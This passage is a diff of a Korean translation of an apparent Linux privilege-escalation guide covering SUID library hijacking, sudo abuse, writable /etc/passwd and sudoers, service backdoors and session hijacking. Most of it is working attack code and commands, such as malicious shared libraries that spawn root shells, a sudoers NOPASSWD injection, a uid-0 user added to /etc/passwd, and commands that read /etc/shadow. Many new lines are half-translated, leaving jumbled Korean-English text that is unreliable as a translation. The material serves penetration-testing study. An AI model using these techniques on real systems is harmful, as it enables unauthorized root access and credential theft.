/bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -이 코드는 컴파일되고 실행되면 파일 권한을 조작하고 상승된 권한으로 셸을 실행하여 권한을 상승시키는 것을 목표로 합니다. +이 코드는 컴파일되어 실행되면 파일 권한을 조작하고 권한이 상승된 쉘을 실행하여 권한을 상승시키는 것을 목표로 합니다. -위의 C 파일을 공유 객체(.so) 파일로 컴파일하려면: +위 C 파일을 다음 명령으로 공유 객체(.so) 파일로 컴파일하세요: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -마지막으로, 영향을 받은 SUID 바이너리를 실행하면 익스플로잇이 트리거되어 시스템 손상이 발생할 수 있습니다. +마지막으로, 영향을 받은 SUID binary를 실행하면 exploit이 유발되어 잠재적으로 시스템 침해로 이어질 수 있습니다. -## 공유 객체 하이재킹 +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -878,7 +879,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -이제 우리가 쓸 수 있는 폴더에서 라이브러리를 로드하는 SUID 바이너리를 찾았으므로, 해당 폴더에 필요한 이름으로 라이브러리를 생성합시다: +쓰기 가능한 폴더에서 라이브러리를 로드하는 SUID 바이너리를 찾았으므로, 해당 폴더에 필요한 이름으로 라이브러리를 생성합시다: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -891,87 +892,90 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -오류가 발생하면 다음과 같은 메시지가 표시됩니다. +다음과 같은 오류가 발생하면 ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -그것은 당신이 생성한 라이브러리에 `a_function_name`이라는 함수가 있어야 함을 의미합니다. +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io)는 공격자가 로컬 보안 제한을 우회하기 위해 악용할 수 있는 Unix 바이너리의 선별된 목록입니다. [**GTFOArgs**](https://gtfoargs.github.io/)는 명령에 **인수만 주입할 수 있는** 경우에 대한 동일한 목록입니다. +[**GTFOBins**](https://gtfobins.github.io) 는 로컬 보안 제한을 우회하기 위해 공격자가 악용할 수 있는 Unix 바이너리의 선별된 목록입니다. [**GTFOArgs**](https://gtfoargs.github.io/) 는 명령에 **인수만 주입할 수 있는** 경우를 위한 동일한 자료입니다. -이 프로젝트는 제한된 셸을 탈출하고, 권한을 상승시키거나 유지하며, 파일을 전송하고, 바인드 및 리버스 셸을 생성하고, 기타 포스트 익스플로잇 작업을 용이하게 하기 위해 악용될 수 있는 Unix 바이너리의 합법적인 기능을 수집합니다. +이 프로젝트는 제한된 쉘을 탈출하거나, 권한을 상승하거나 유지하거나, 파일을 전송하거나, bind 및 reverse shell을 생성하거나, 기타 post-exploitation 작업을 용이하게 하기 위해 악용될 수 있는 Unix 바이너리의 정상적인 기능을 수집합니다. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} + {{#ref}} https://gtfoargs.github.io/ {{#endref}} ### FallOfSudo -`sudo -l`에 접근할 수 있다면, 도구 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo)를 사용하여 어떤 sudo 규칙을 악용할 수 있는지 확인할 수 있습니다. +If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. -### Sudo 토큰 재사용 +### Reusing Sudo Tokens -**sudo 접근 권한**은 있지만 비밀번호가 없는 경우, **sudo 명령 실행을 기다린 다음 세션 토큰을 탈취하여 권한을 상승시킬 수 있습니다.** +In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. -권한 상승을 위한 요구 사항: +Requirements to escalate privileges: -- 이미 "_sampleuser_" 사용자로 셸을 가지고 있어야 합니다. -- "_sampleuser_"가 **최근 15분 이내에 `sudo`**를 사용하여 무언가를 실행했어야 합니다 (기본적으로 이는 비밀번호를 입력하지 않고 `sudo`를 사용할 수 있는 sudo 토큰의 지속 시간입니다). -- `cat /proc/sys/kernel/yama/ptrace_scope`는 0이어야 합니다. -- `gdb`에 접근할 수 있어야 합니다 (업로드할 수 있어야 합니다). +- You already have a shell as user "_sampleuser_" +- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) +- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 +- `gdb` is accessible (you can be able to upload it) -(일시적으로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정하고 `kernel.yama.ptrace_scope = 0`으로 설정할 수 있습니다.) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -이 모든 요구 사항이 충족되면, **다음 링크를 사용하여 권한을 상승시킬 수 있습니다:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **첫 번째 익스플로잇**(`exploit.sh`)은 _/tmp_에 바이너리 `activate_sudo_token`을 생성합니다. 이를 사용하여 **세션에서 sudo 토큰을 활성화할 수 있습니다** (자동으로 루트 셸을 얻지 않으며, `sudo su`를 실행해야 합니다): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- 두 번째 익스플로잇(`exploit_v2.sh`)은 _/tmp_에 **setuid로 루트가 소유한** sh 쉘을 생성합니다. +- 두 번째 **exploit** (`exploit_v2.sh`)는 _/tmp_에 **root가 소유하고 setuid가 설정된** sh shell을 생성합니다 ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **세 번째 익스플로잇** (`exploit_v3.sh`)는 **sudoers 파일을 생성하여 sudo 토큰을 영구적으로 만들고 모든 사용자가 sudo를 사용할 수 있도록** 합니다. +- 이 **세 번째 exploit** (`exploit_v3.sh`)는 **sudoers file을 생성**하여 **sudo tokens를 영구화하고 모든 사용자가 sudo를 사용할 수 있도록 허용**합니다 ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -해당 폴더 또는 폴더 내 생성된 파일에 **쓰기 권한**이 있는 경우, 바이너리 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)를 사용하여 **사용자 및 PID에 대한 sudo 토큰을 생성**할 수 있습니다.\ -예를 들어, _/var/run/sudo/ts/sampleuser_ 파일을 덮어쓸 수 있고, PID 1234로 해당 사용자로 쉘을 가지고 있다면, 비밀번호를 알 필요 없이 **sudo 권한을 얻을 수** 있습니다: +폴더나 그 폴더 안에 생성된 파일들 중 어느 파일에 대해든 **쓰기 권한**이 있다면, 바이너리 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)를 사용해 특정 user와 PID에 대한 **sudo token을 생성**할 수 있습니다.\\ + +예를 들어, 파일 _/var/run/sudo/ts/sampleuser_을 덮어쓸 수 있고 해당 user로 PID 1234인 셸을 가지고 있다면, 패스워드를 알 필요 없이 **sudo privileges를 획득**할 수 있습니다. 다음과 같이: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -파일 `/etc/sudoers`와 `/etc/sudoers.d` 내부의 파일들은 누가 `sudo`를 사용할 수 있는지와 그 방법을 설정합니다. 이 파일들은 **기본적으로 사용자 root와 그룹 root만 읽을 수 있습니다**.\ -**만약** 이 파일을 **읽을 수 있다면** **흥미로운 정보를 얻을 수 있을 것이고**, 만약 **어떤 파일을 쓸 수 있다면** **권한을 상승시킬 수 있을 것입니다**. +파일 `/etc/sudoers` 및 `/etc/sudoers.d` 내부의 파일들은 누가 `sudo`를 어떻게 사용할 수 있는지를 구성합니다. 이 파일들은 **기본적으로 user root와 group root만 읽을 수 있습니다**.\ +**만약** 이 파일을 **읽을 수 있다면** 몇 가지 **흥미로운 정보를 얻을 수 있습니다**, 그리고 만약 어떤 파일을 **쓸 수 있다면** **escalate privileges**할 수 있습니다. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -이 권한을 남용할 수 있는 것은 글을 쓸 수 있기 때문이다. +쓰기 권한이 있으면 이 권한을 악용할 수 있다. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -이 권한을 악용하는 또 다른 방법: +이 권한들을 악용하는 또 다른 방법: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -980,17 +984,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` 바이너리의 대안으로 OpenBSD의 `doas`와 같은 것들이 있습니다. `/etc/doas.conf`에서 그 설정을 확인하는 것을 잊지 마세요. +`sudo` 바이너리의 몇몇 대안으로 OpenBSD용 `doas` 등이 있으니, `/etc/doas.conf`에서 설정을 확인하세요. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -만약 **사용자가 일반적으로 머신에 연결하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트 내에서 쉘을 얻었다면, **새로운 sudo 실행 파일을 생성**하여 루트로서 당신의 코드를 실행한 다음 사용자의 명령을 실행할 수 있습니다. 그런 다음, **사용자 컨텍스트의 $PATH를 수정**하여 (예: .bash_profile에 새로운 경로 추가) 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다. +특정 사용자가 기기에 접속해 권한 상승을 위해 `sudo`를 자주 사용하는 것을 알고, 해당 사용자 컨텍스트에서 shell을 확보했다면, 먼저 당신의 코드를 root로 실행한 뒤 사용자의 명령을 실행하도록 하는 새로운 sudo 실행파일을 만들 수 있습니다. 그런 다음 사용자 컨텍스트의 $PATH를 수정(예: .bash_profile에 새 경로 추가)하면 사용자가 sudo를 실행할 때 당신의 sudo 실행파일이 실행됩니다. -사용자가 다른 쉘(배시가 아님)을 사용하는 경우, 새로운 경로를 추가하기 위해 다른 파일을 수정해야 한다는 점에 유의하세요. 예를 들어 [sudo-piggyback](https://github.com/APTy/sudo-piggyback)는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`를 수정합니다. [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 또 다른 예를 찾을 수 있습니다. +사용자가 다른 shell(예: bash가 아닐 경우)을 사용하면 새 경로를 추가하기 위해 다른 파일들을 수정해야 합니다. 예를 들어 [sudo-piggyback](https://github.com/APTy/sudo-piggyback)은 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`을 수정합니다. 다른 예시는 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 찾을 수 있습니다. -또는 다음과 같은 것을 실행할 수 있습니다: +또는 다음과 같이 실행할 수도 있습니다: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -`/var/tmp/flag15/`에 lib를 복사함으로써 `RPATH` 변수에 지정된 대로 이 위치에서 프로그램에 의해 사용될 것입니다. +lib를 `/var/tmp/flag15/`에 복사하면 프로그램에서 `RPATH` 변수에 지정된 대로 해당 위치에서 사용됩니다. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1040,7 +1045,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -그런 다음 `/var/tmp`에 악성 라이브러리를 생성합니다: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +그런 다음 `/var/tmp`에 악성 라이브러리를 다음 명령으로 생성하세요: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1053,43 +1058,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## 권한 + +Linux capabilities는 프로세스에 제공되는 루트 권한의 **하위 집합**을 제공합니다. 이는 루트 권한을 **더 작고 구별되는 단위로 분할**합니다. 각 단위는 개별적으로 프로세스에 부여될 수 있으며, 이렇게 전체 권한 집합이 줄어들면 악용 위험이 감소합니다.\ +다음 페이지를 읽어 **capabilities와 이를 악용하는 방법**에 대해 더 알아보세요: -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -다음 페이지를 읽어 **capabilities에 대해 더 배우고 이를 악용하는 방법**을 알아보세요: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## 디렉토리 권한 -In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +디렉토리에서, **"execute" 비트**는 해당 사용자가 "**cd**"로 폴더에 들어갈 수 있음을 의미합니다.\ +**"read"** 비트는 사용자가 **파일을 나열**할 수 있음을 의미하고, **"write"** 비트는 사용자가 **파일을 삭제하고 새 파일을 생성**할 수 있음을 의미합니다. ## ACLs -Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs)는 임의 권한의 2차 계층을 나타내며, 전통적인 ugo/rwx 권한을 **재정의**할 수 있습니다. 이러한 권한은 소유자나 그룹의 구성원이 아닌 특정 사용자에게 권한을 허용하거나 거부함으로써 파일 또는 디렉토리 접근을 보다 세밀하게 제어할 수 있게 합니다. 이 수준의 **세분화는 더 정밀한 접근 관리를 보장**합니다. 추가 정보는 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)에서 확인하세요. -**Give** user "kali" read and write permissions over a file: +**부여** 사용자 "kali"에게 파일에 대한 읽기 및 쓰기 권한: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**특정 ACL이 있는** 파일을 시스템에서 가져옵니다: +**가져오기** 시스템에서 특정 ACL을 가진 파일: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Open shell sessions -**구버전**에서는 다른 사용자(**root**)의 **쉘** 세션을 **가로챌** 수 있습니다.\ -**최신 버전**에서는 **자신의 사용자**의 화면 세션에만 **연결**할 수 있습니다. 그러나 **세션 내부에서 흥미로운 정보**를 찾을 수 있습니다. +**이전 버전**에서는 다른 사용자(**root**)의 일부 **shell** 세션을 **hijack**할 수 있습니다.\ +**최신 버전**에서는 **자신의 사용자 계정**의 screen 세션에만 **connect**할 수 있습니다. 하지만 **세션 내부의 흥미로운 정보**를 발견할 수 있습니다. ### screen sessions hijacking -**화면 세션 목록** +**screen 세션 나열** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1102,11 +1108,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux 세션 하이재킹 +## tmux sessions hijacking -이것은 **오래된 tmux 버전**의 문제였습니다. 비특권 사용자로서 root가 생성한 tmux (v2.1) 세션을 하이재킹할 수 없었습니다. +이것은 **오래된 tmux 버전**에서 발생하던 문제였다. 비권한 사용자로서 root가 만든 tmux (v2.1) 세션을 hijack할 수 없었다. -**tmux 세션 목록** +**tmux sessions 나열** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1114,7 +1120,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**세션에 연결하기** +**세션에 연결** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1130,119 +1136,120 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\ -이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **가능한 변형이 32,768개만 존재했습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh 공개 키가 있으면 해당 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006년 9월부터 2008년 5월 13일 사이에 Debian 계열 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\ +이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생합니다. **가능한 변형이 단 32,768개에 불과했기 때문입니다**. 즉 모든 가능성을 계산할 수 있으며 **ssh public key만 있으면 대응하는 private key를 검색할 수 있습니다**. 계산된 가능성 목록은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** 비밀번호 인증이 허용되는지 여부를 지정합니다. 기본값은 `no`입니다. -- **PubkeyAuthentication:** 공개 키 인증이 허용되는지 여부를 지정합니다. 기본값은 `yes`입니다. -- **PermitEmptyPasswords**: 비밀번호 인증이 허용될 때, 서버가 빈 비밀번호 문자열로 계정에 로그인하는 것을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다. +- **PasswordAuthentication:** 비밀번호 인증이 허용되는지 지정합니다. 기본값은 `no`입니다. +- **PubkeyAuthentication:** 공개키 인증이 허용되는지 지정합니다. 기본값은 `yes`입니다. +- **PermitEmptyPasswords**: 비밀번호 인증이 허용될 때, 서버가 빈 비밀번호 문자열을 가진 계정으로의 로그인을 허용하는지 지정합니다. 기본값은 `no`입니다. ### PermitRootLogin -root가 ssh를 사용하여 로그인할 수 있는지 여부를 지정하며, 기본값은 `no`입니다. 가능한 값: +root가 ssh로 로그인할 수 있는지 지정합니다. 기본값은 `no`입니다. 가능한 값: -- `yes`: root는 비밀번호와 개인 키를 사용하여 로그인할 수 있습니다. -- `without-password` 또는 `prohibit-password`: root는 개인 키로만 로그인할 수 있습니다. -- `forced-commands-only`: root는 개인 키를 사용하여 로그인할 수 있으며, 명령 옵션이 지정되어야 합니다. -- `no`: 불가능합니다. +- `yes`: root는 비밀번호와 private key를 사용해 로그인할 수 있음 +- `without-password` or `prohibit-password`: root는 오직 private key로만 로그인 가능 +- `forced-commands-only`: root는 private key로만 로그인하며 command 옵션이 지정된 경우에만 가능 +- `no`: 허용 안 함 ### AuthorizedKeysFile -사용자 인증에 사용할 수 있는 공개 키가 포함된 파일을 지정합니다. `%h`와 같은 토큰을 포함할 수 있으며, 이는 홈 디렉토리로 대체됩니다. **절대 경로**( `/`로 시작) 또는 **사용자의 홈에서 상대 경로**를 지정할 수 있습니다. 예: +사용자 인증에 사용될 수 있는 공개 키를 포함하는 파일을 지정합니다. `%h` 같은 토큰을 포함할 수 있으며 이는 홈 디렉터리로 대체됩니다. **절대 경로**( `/`로 시작)나 **사용자 홈에서의 상대 경로**를 지정할 수 있습니다. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -그 구성은 사용자가 "**testusername**"의 **private** 키로 로그인하려고 할 때, ssh가 귀하의 키의 공개 키를 `/home/testusername/.ssh/authorized_keys` 및 `/home/testusername/access`에 있는 키와 비교할 것임을 나타냅니다. +That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH 에이전트 포워딩을 사용하면 **서버에 키를 남기지 않고** **로컬 SSH 키를 사용할 수 있습니다** (비밀번호 없이!). 따라서 ssh를 통해 **호스트로 점프**하고, 거기서 **다른** 호스트로 **점프**할 수 있으며, **초기 호스트**에 있는 **키**를 사용할 수 있습니다. +SSH agent forwarding은 서버에 (without passphrases!) 키를 남겨두는 대신 **use your local SSH keys instead of leaving keys** 할 수 있게 해줍니다. 따라서 ssh를 통해 **jump** **to a host** 한 뒤, 거기서 다시 **jump to another** host로 이동할 때 당신의 **initial host**에 위치한 해당 **key**를 **using**할 수 있습니다. -이 옵션을 `$HOME/.ssh.config`에 다음과 같이 설정해야 합니다: +You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` -`Host`가 `*`인 경우 사용자가 다른 머신으로 점프할 때마다 해당 호스트가 키에 접근할 수 있으므로(이는 보안 문제입니다). +주의: `Host`가 `*`인 경우 사용자가 다른 머신으로 이동할 때마다 그 호스트는 키에 접근할 수 있으므로 보안 문제가 발생한다. -파일 `/etc/ssh_config`는 이 **옵션**을 **재정의**하고 이 구성을 허용하거나 거부할 수 있습니다.\ -파일 `/etc/sshd_config`는 `AllowAgentForwarding` 키워드를 사용하여 ssh-agent 포워딩을 **허용**하거나 **거부**할 수 있습니다(기본값은 허용). +The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ +The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). + +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: -환경에서 Forward Agent가 구성되어 있는 경우 다음 페이지를 읽어보세요. **권한 상승을 위해 이를 악용할 수 있습니다**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## 흥미로운 파일들 +## 흥미로운 파일 -### 프로파일 파일 +### 프로필 파일 -파일 `/etc/profile` 및 `/etc/profile.d/` 아래의 파일들은 **사용자가 새 셸을 실행할 때 실행되는 스크립트**입니다. 따라서, 이들 중 하나를 **작성하거나 수정할 수 있다면 권한을 상승시킬 수 있습니다**. +The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -이상한 프로필 스크립트가 발견되면 **민감한 세부정보**를 확인해야 합니다. +이상한 profile 스크립트가 발견되면 **민감한 정보**가 있는지 확인해야 합니다. ### Passwd/Shadow 파일 -운영 체제에 따라 `/etc/passwd` 및 `/etc/shadow` 파일이 다른 이름을 사용하거나 백업이 있을 수 있습니다. 따라서 **모두 찾고** **읽을 수 있는지 확인**하여 파일 안에 **해시가 있는지** 확인하는 것이 좋습니다: +OS에 따라 `/etc/passwd` 및 `/etc/shadow` 파일은 다른 이름을 사용하거나 백업 파일이 있을 수 있습니다. 따라서 `/etc/passwd` 및 `/etc/shadow` 파일을 **모두 찾아** **읽을 수 있는지 확인**하여 파일 안에 **해시가 있는지** 확인하는 것이 좋습니다: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -일부 경우에 **비밀번호 해시**를 `/etc/passwd` (또는 해당 파일) 내에서 찾을 수 있습니다. +어떤 경우에는 `/etc/passwd` (또는 이에 상응하는) 파일 안에서 **password hashes**를 찾을 수 있습니다. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### 쓰기 가능한 /etc/passwd -먼저, 다음 명령어 중 하나로 비밀번호를 생성합니다. +먼저, 다음 명령어들 중 하나로 비밀번호를 생성합니다. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -그런 다음 사용자 `hacker`를 추가하고 생성된 비밀번호를 추가합니다. +그런 다음 사용자 `hacker`를 추가하고 생성된 비밀번호를 추가하세요. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 예: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -이제 `su` 명령어를 `hacker:hacker`로 사용할 수 있습니다. +이제 `su` 명령을 `hacker:hacker`로 사용할 수 있습니다 -또는 다음 줄을 사용하여 비밀번호가 없는 더미 사용자를 추가할 수 있습니다.\ -경고: 현재 머신의 보안을 저하시킬 수 있습니다. +또는 비밀번호 없이 더미 사용자를 추가하려면 다음 줄을 사용할 수 있습니다.\ +경고: 현재 시스템의 보안이 저하될 수 있습니다. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTE: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치하고, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경됩니다. +참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치하며, `/etc/shadow`는 `/etc/spwd.db`로 이름이 바뀝니다. -민감한 파일에 **쓰기**가 가능한지 확인해야 합니다. 예를 들어, **서비스 구성 파일**에 쓸 수 있습니까? +일부 민감한 파일에 **쓰기 가능한지** 확인해야 합니다. 예를 들어, 어떤 **서비스 구성 파일**에 쓸 수 있나요? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -예를 들어, 머신이 **tomcat** 서버를 실행 중이고 **/etc/systemd/ 내의 Tomcat 서비스 구성 파일을 수정할 수 있다면,** 다음과 같은 줄을 수정할 수 있습니다: +예를 들어, 머신이 **tomcat** 서버를 실행 중이고 **modify the Tomcat service configuration file inside /etc/systemd/,** 할 수 있다면, 다음 줄들을 수정할 수 있습니다: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -당신의 백도어는 tomcat이 다음에 시작될 때 실행될 것입니다. +당신의 backdoor는 다음에 tomcat이 시작될 때 실행됩니다. ### 폴더 확인 -다음 폴더에는 백업 또는 흥미로운 정보가 포함될 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (마지막 폴더는 읽을 수 없을 가능성이 높지만 시도해 보세요) +다음 폴더들은 백업이나 흥미로운 정보를 포함하고 있을 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (아마 마지막 것은 읽을 수 없겠지만 시도해보세요) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 이상한 위치/소유한 파일 +### 이상한 위치/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1259,7 +1266,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 마지막 분에서 수정된 파일 +### 지난 몇 분 동안 수정된 파일 ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1275,7 +1282,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH의 스크립트/바이너리** +### **PATH에 있는 Script/Binaries** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1291,22 +1298,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Known files containing passwords +### 비밀번호가 포함된 알려진 파일 -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 읽어보세요. 이 도구는 **비밀번호를 포함할 수 있는 여러 파일을 검색합니다**.\ -**또 다른 흥미로운 도구**는 **LaZagne**입니다. 이 도구는 Windows, Linux 및 Mac에서 로컬 컴퓨터에 저장된 많은 비밀번호를 검색하는 데 사용되는 오픈 소스 애플리케이션입니다. +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 읽어보면, **비밀번호를 포함할 수 있는 여러 파일**을 검색합니다.\ +**또 다른 흥미로운 도구**로는 